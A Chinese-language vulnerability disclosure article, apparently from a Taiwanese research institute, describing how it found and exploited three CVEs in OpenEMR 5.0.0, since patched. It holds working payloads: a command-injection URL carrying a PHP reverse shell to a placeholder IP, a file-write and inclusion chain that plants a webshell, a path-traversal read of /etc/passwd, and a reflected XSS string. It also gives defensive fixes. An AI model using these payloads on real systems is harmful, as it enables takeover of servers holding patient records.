作者:資策會資安科技研究所
日期:2018/5/24
OpenEMR是一套由PHP開發的免費開源醫療管理系統,提供包括電子病歷、病患調度、電子處方、電子帳單等功能,並且支援超過30種國家語言,同時可以安裝在多數常見的作業系統上,如Windows、Linux、Mac OS X等。目前OpenEMR獲得40家企業的支援,每月被下載超過4,000次,在100多個國家被使用,服務超過2億病患,被公認為全球最受歡迎開源電子健康記錄和醫療實踐管理解決方案。[1]
資策會資安科技研究所(以下簡稱本所)於OpenEMR 5.0.0版本中發現三個弱點,已通報OpenEMR團隊並取得弱點資料庫編號CVE-2018-10571、CVE-2018-10572及CVE-2018-10573[7][8][9]。
本文將介紹如何在Docker上安裝OpenEMR,並說明與分析這3個CVE的弱點產生原因與利用方法,並提供相關修補建議措施。
一、Docker安裝上OpenEMR
安裝好Docker[2]和docker-compose[3]後,使用OpenEMR官方docker-compose.yml[3]來安裝。
docker-compose.yml設定檔參考如下[4]:
資料來源:資安所自行整理
安裝指令:
$ sudo docker-compose -f docker-compose.yml up |
安裝成功後,可以使用預設帳密admin/pass來登入OpenEMR (修改docker-compose.yml檔案中的OE_USER、OE_PASS參數內容,即可修改預設帳密)。
資料來源:資安所自行整理
二、挖掘弱點過程
首先盡可能了解目標,例如:
- 使用的技術細節-OpenEMR是使用PHP開發。
- 下載各版本原始碼[5]-了解開發人員的Coding Style,方便後續搜尋。
- 歷年的弱點[6]-研究過去的弱點,於其他程式碼中也可能會有相同問題。
- 實際架設OpenEMR -方便進行灰箱測試。
如果能把整份程式都進行分析,應該可以最深入理解OpenEMR運作流程,也能找出最多弱點。但原始程式碼數量龐大,而且大部分都是無法攻擊,為了提升發現弱點的效率,善用正規表達式來搜尋也變得相對重要。以下將介紹從分析歷年CVE弱點資料庫並使用正規表達式找到OpenEMR弱點的過程。
OpenEMR歷年弱點如下圖所示,觀察OpenEMR過去發現的弱點,可以發現Code Execution、SQL Injection、Cross-Site Scripting(XSS)最常出現,且大多數都發生在interface、library這兩個目錄下的程式碼,因此先分析可能仍具有弱點的程式碼為本文的首要標的。
資料來源:資安所自行整理
從CVE-2018-1000019可以發現,fax_dispatch.php於使用exec功能函數時,未對參數進行過濾而發生Command Injection弱點。
資料來源:資安所自行整理
因此使用下面指令來找出OpenEMR 5.0.0版本中,有使用到exec功能函數的程式碼,或亦可搜尋其他PHP的危險函數,如system、eval等等。
$ grep -rn ./ -e ‘ exec(‘ | grep “\.php:" | egrep “\.//(interface|library)" | less |
搜尋結果如下圖所示,根據這些檔案,找出危險函數中可控制的輸入。
資料來源:資安所自行整理
在分析Command Injection弱點的過程中,也發現其他輸出參數並未進行過濾,而造成了XSS弱點。例如 /interface/billing/sl_eob_search.php中的form_source參數:
<input type=’text’ name=’form_source’ size=’10’ value='<?php echo $_POST[‘form_source’]; ?>’ |
可以發現產生的原因很簡單,因此使用下面的語法來找出可能有XSS的程式碼。
$ egrep -rn ./ -e ‘php echo \$_(GET|POST|REQUEST)’ |less |
三、弱點細節與利用
以下將介紹使用上面的方法,在OpenEMR 5.0.0中所找到的4種弱點細節和其利用的方法。
- Command Injection (CVE-2018-10573)
攻擊描述:攻擊者在已登入的情況下,能在遠端伺服器上執行任意系統指令,即取得遠端伺服器控制權,或在已登入的使用者點擊惡意的網址後,攻擊者也可取得遠端伺服器的控制權。
弱點位置:interface/fax/fax_dispatch.php
參數:scan (GET)
測試語法:
http://$DOMAIN/interface/fax/fax_dispatch.php?scan=’||<CMD>||’/";echo "
fax_dispatch.php部分程式碼如下圖所示,分析後可以發現:
A. $filepath : 某個路徑 + 可控的參數 $_GET[‘scan’]
B. $faxcache : 某個路徑 + $filebase
- $filebase:$_GET[‘scan’]但只留最後一個 “/" 之後的字串(例如:$_GET[‘scan’] = “abc/def/ghi" => $filebase = “ghi")
資料來源:資安所自行整理
C. 程式碼416行:$faxcache會被串接進第1個exec。
D. 程式碼425行:$filepath和$faxcache會被串接進第2個exec。
資料來源:資安所自行整理
由於$filepath和$faxcache都是可以控制的參數,因此造成了Command Injection弱點。但$faxcache參數如果出現「/」字元時會被截斷,所以選擇使用比較好控制的$filepath(第2個exec)。但如果第1個exec執行失敗就不會執行到第2個exec,因此在控制scan參數時,要設法讓第1個exec執行成功,而且能讓第2個exec正常執行系統指令。
如果使用的輸入為:scan=‘||<CMD>||’/";echo "
(a) 則$filepath和$faxcache內容會分別變成:
$filepath = /PATH/‘||<CMD>||’/";echo “
$faxcache = /PATH/“;echo “
(b) 將$faxcache帶入第1個exec中:
exec(‘mkdir -p “‘ . $faxcache . ‘"‘, $tmp1, $tmp2);
=> mkdir -p “/PATH/“;echo “"
=>上述會拆成2個指令「mkdir -p “/PATH/";」與「echo “"」
=> 「mkdir -p “/PATH/";」可能會執行失敗,但「echo “"」成功執行
=> 程式會執行第2個exec
(c) 將$filepath和$faxcache帶入第2個exec中:
exec(“convert -density 203×196 ‘$filepath’ ‘$faxcache/deleteme.tif'", $tmp1, $tmp2);
=> convert -density 203×196 ‘/PATH/‘||<CMD>||’/";echo “‘ ‘/PATH/“;echo “/deleteme.tif’
=>上述會拆成3個指令「convert -density 203×196 ‘/PATH/’」、「<CMD>」及「’/";echo “‘ ‘/PATH/";echo “/deleteme.tif’」
因此CMD可以執行任意的系統指令,但輸出並不會顯示在網頁上,因此使用sleep指令進行測試:
http://$DOMAIN/interface/fax/fax_dispatch.php?scan=’|| sleep 5 ||’/";echo “ |
測試結果發現網頁執行5秒,可確定sleep指令成功執行,如下圖所示。
資料來源:資安所自行整理
我們嘗試利用Reverse Shell攻擊手法取得遠端伺服器權限,測試語法如下圖所示。
http://$DOMAIN/interface/fax/fax_dispatch.php?scan=’|| php -r ‘$sock=fsockopen(“IP",port);exec(“/bin/sh -i <%263 >%263 2>%263″);’ ||’/";echo “ |
資料來源:資安所自行整理
透過Reverse Shell攻擊手法成功取得遠端伺服器權限,如下圖所示。
資料來源:資安所自行整理
2. Arbitrary File Write and File Inclusion lead to Remote Code Execution
攻擊描述:
A. 攻擊者在已登入的情況下,可以任意上傳檔案。
B. 攻擊者在已登入的情況下,可以任意include檔案(但要以".plugin.php"為結尾)。
C. 利用上述的2個弱點可上傳後門並執行任意PHP程式。
依據上述攻擊描述,分別說明如下:
A. Arbitrary File Write弱點 (CVE-2018-10572)
弱點位置:interface/patient_file/letter.php
參數:newtemplatename (POST)、form_body (POST)
letter.php部分程式碼如下圖所示,分析後可以發現:
a. 程式碼226行,把newtemplatename中的值當成檔名開啟,且權限為寫入,但未進行過濾可以透過「../」語法跳到上層目錄。
b. 程式碼228行與233行,會把POST參數form_body中的內容寫入$fh檔案。
c. 因此能做到寫入指定的內容到指定的路徑,檔名也能自訂。
資料來源:資安所自行整理
B. File Inclusion弱點
弱點位置:interface/patient_file/transaction/add_transaction.php
參數:title (REQUEST)
add_transaction.php部分程式碼如下圖所示,分析後可以發現:
程式碼23行、27行與29行,使用者可控的title參數前面加上某個路徑,且後面加上 “.plugin.php",並include該檔案,且title參數未做任何限制。因此能做到include指定路徑的檔案,但這個檔案必須要以".plugin.php"為結尾。
資料來源:資安所自行整理
C. 綜合上述,透過Arbitrary File Write弱點上傳後門到/tmp資料夾下,且檔名為plugin.php,POST資料如下圖所示:
資料來源:資安所自行整理
再使用 File Inclusion弱點執行後門程式webshell.plugin.php,下圖範例為使用ls -al 指令列出遠端伺服器本機檔案清單。
資料來源:資安所自行整理
3. Arbitrary File Read弱點
攻擊描述:攻擊者在已登入的情況下,可以讀取伺服器上有權限讀取的檔案。
弱點位置:interface/patient_file/letter.php
參數:template (GET)
letter.php部分程式碼如下圖所示,分析後可以發現:
程式碼209行,在讀檔時並沒有對template參數輸入做任何限制,因此可以使用「"../"」語法讀取上一層目錄的檔案。
資料來源:資安所自行整理
成功透過template參數讀取遠端伺服器的/etc/passwd檔案,如下圖所示。
資料來源:資安所自行整理
- Multiple Reflected Cross Site Scripting弱點 (CVE-2018-10571)
攻擊描述:已登入的OpenEMR使用者在點擊攻擊者製作的網址後,攻擊者即可利用該使用者的身分對OpenEMR進行操作(新增或刪除資料等,甚至也能直接以該使用者身份登入)。
依據本文第二章節挖掘弱點方式,可找到多個XSS弱點,本文從中挑出其一個範例進行說明,詳細內容可參考CVE-2018-10571 [7]。
弱點位置:interface/main/finder/finder_navigation.php
參數:patient (GET)
分析finder_navigation.php後,發現具有弱點之原始程式碼如下所示:
<input type=“textbox" size="10″ name=“patient" value="<?php echo $_REQUEST[‘patient’]; ?>" > |
該程式會直接將使用者的輸入,原封不動輸出在網頁上。如果輸入為:
patient = 123″>alert(“xss"); |
網頁的輸出會是:
<input type=“textbox" size=“10″ name=“patient" value="123″>alert(“xss");" > |
因此概念性攻擊語法如下:
http://$DOMAIN/interface/main/finder/finder_navigation.php?patient=123″>alert(“xss"); |
patient參數可成功執行Javascript語法,如下圖所示。
資料來源:資安所自行整理
四、建議修補方式
分析本文所發現的弱點產生原因,由於程式開發人員未將使用者的輸入與輸出進行過濾,因此產生各項網頁應用程式弱點。
程式開發人員於編撰網頁應用程式時,應注意下列事項:
- 針對需求限制使用者輸入。
- 對使用者的輸入過濾後在使用。
- 使用白名單限制使用者輸入。
- XSS修補和過濾可以參考OWASP提供的防禦方式[10]。
本所已於2018/3/15通報相關弱點予OpenEMR團隊,2018/4/23 OpenEMR團隊已完成弱點修補作業並發布OpenEMR 5.0.1版本,建議使用者進行版本更新。
參考資料:
[1] https://www.ithome.com.tw/news/122776
[2] https://docs.docker.com/install/linux/docker-ce/ubuntu/
[3] https://github.com/docker/compose/releases
[4] https://github.com/openemr/openemr-devops/tree/master/docker/openemr/5.0.0
[5] https://github.com/openemr/openemr
[6] https://www.cvedetails.com/product/23156/Open-emr-Openemr.html
[7] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10571
[8] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10572
[9] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10573
[10] https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet